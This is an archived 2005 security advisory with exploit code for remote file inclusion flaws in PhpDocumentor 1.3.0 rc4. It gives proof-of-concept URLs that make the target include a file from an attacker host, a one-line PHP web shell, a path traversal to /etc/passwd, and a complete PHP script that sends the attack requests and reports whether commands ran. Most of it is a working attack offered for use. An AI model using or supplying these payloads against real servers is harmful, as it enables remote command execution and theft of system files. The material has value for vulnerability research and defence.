phpdocumentor_130rc4_incl_expl.txt

2005-12-31T00:00:00
ID PACKETSTORM:42705
Type packetstorm
Reporter rgod
Modified 2005-12-31T00:00:00

Description

                                        
                                            `---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion ---  
  
software:  
site: http://www.phpdoc.org/  
description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu,  
is the current standard auto-documentation tool for the php language.  
Similar to Javadoc, and written in php, phpDocumentor can be used from  
the command line or a web interface to create professional  
documentation from php source code."  
  
--------------------------------------------------------------------  
i) vulnerable code in Documentation/tests/bug-559668.php at line 4:  
  
...  
require_once $FORUM['LIB'] . '/classes/db/PearDb.php';  
...  
  
  
poc:  
  
if register_globals on and allow_url_fopen on  
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?cmd=ls%20-la&FORUM[LIB]=http://[attacker]  
  
where on http://[attacker]/classes/db/PearDb.php/index.html  
you have this code:  
  
<?php system($cmd);?>  
  
also, if magic_quotes_gpc off:  
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=http://[attacker]/script.txt%00  
http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00  
--------------------------------------------------------------------  
ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56:  
  
...  
/**  
* common file information  
*/  
include_once("$root_dir/phpDocumentor/common.inc.php"); [!]  
include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php"); [!]  
include_once("$root_dir/docbuilder/includes/utilities.php" ); [!]  
  
$root_dir = dirname(dirname(__FILE__)); [!!!!!!!!]  
...  
  
poc:  
http://[target]/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=ls%20-la&root_dir=http://[attacker]  
  
where on http://[attacker]/phpDocumentor/common.inc.php/index.html  
you have the same code  
--------------------------------------------------------------------  
exploit:  
  
<?php  
# ---phpdocu_130rc4_incl_xpl.php 13.06 29/12/2005 #  
# #  
# PhpDocumentor <= 1.3.0 rc4 remote commands execution #  
# coded by rgod #  
# site: http://rgod.altervista.org #  
# #  
# usage: launch from Apache, fill in requested fields, then go! #  
# #  
# Sun-Tzu: "Confront your soldiers with the deed itself; never let them know #  
# your design. When the outlook is bright, bring it before their eyes; but #  
# tell them nothing when the situation is gloomy." #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 5);  
ob_implicit_flush (1);  
  
echo'<html><head><title>**PhpDocumentor <= 1.3.0 rc4 remote commands execution**  
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:  
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">  
**PhpDocumentor <= 1.3.0 rc4 remote commands execution**</p><p class="Stile6">a  
script by rgod at <a href="http://rgod.altervista.org"target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.$SERVER[PHP_SELF].'"> <p><input  
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)  
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:  
/phpdocumentor/ or just / ) </span></p><p><input type="text" name="CMD"> <span  
class="Stile5"> * specify a command </span></p> <p> <input type="text"  
name="LOCATION"><span class="Stile5">* remote location ( ex: http://www.somesite  
.com, without traling slashes)</span></p><p><input type="text" name="port"><span  
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>  
<input type="text" name="proxy"><span class="Stile5">send exploit through an  
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"  
value="go!"></p></form></td></tr></table></body></html>';  
  
function show($headeri)  
{  
$ii=0;$ji=0;$ki=0;$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1){  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++) {  
echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {  
echo "<td>0".$datai."</td>";  
}  
else {  
echo "<td>".$datai."</td> ";  
}  
$ii++;$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {  
echo "<td>&nbsp&nbsp</td>";  
}  
for ($li=$ci*16; $li<=strlen($headeri); $li++) {  
echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //2x speed  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port ".$port."...<br>";  
if ($proxy=='') {  
$result = socket_connect($socket, $host, $port);  
}  
else {  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else {  
echo "OK.<br><br>";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
}  
}  
}  
  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.htmlentities($host); die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid prozy...';die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);echo nl2br(htmlentities($html));  
}  
  
$host=$_POST[host];$path=$_POST[path];  
$port=$_POST[port]; $CMD=$_POST[CMD];  
$LOCATION=$_POST[LOCATION];  
  
  
if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
$host=str_replace("\r\n","",$host);  
$path=str_replace("\r\n","",$path);  
$CMD=urlencode($CMD);  
  
$packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCATION." HTTP/1.1\r\n";  
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
//sendpacketii($packet);  
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;}  
else {echo "Trying Step 2...<br>";}  
  
$packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1\r\n";  
$packet.="User-Agent: SnoopRob/x.x\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; }  
else {echo "Exploit failed...";}  
}  
else  
{echo "Note: on remote location prepare this code in<br>  
http:/[remote_location]/classes/db/PearDb.php/index.html<br>  
and in<br>  
http://[remote_location]/phpDocumentor/common.inc.php/index.html:<br>";  
echo nl2br(htmlentities("  
<?php  
echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$cmd);  
?>  
"));  
echo "<br>Note 2: if magic_quotes_off on target server<br>  
you can truncate location name with a null char, ex.:<br>  
http://[remote_location]/your_file.txt%00<br><br>  
Fill * required fields, optionally specify a proxy...";}  
  
?>  
  
--------------------------------------------------------------------  
rgod  
  
site: http://rgod.altervista.org  
mail: retrogod at aliceposta it  
original adivsory: http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html  
--------------------------------------------------------------------  
  
  
`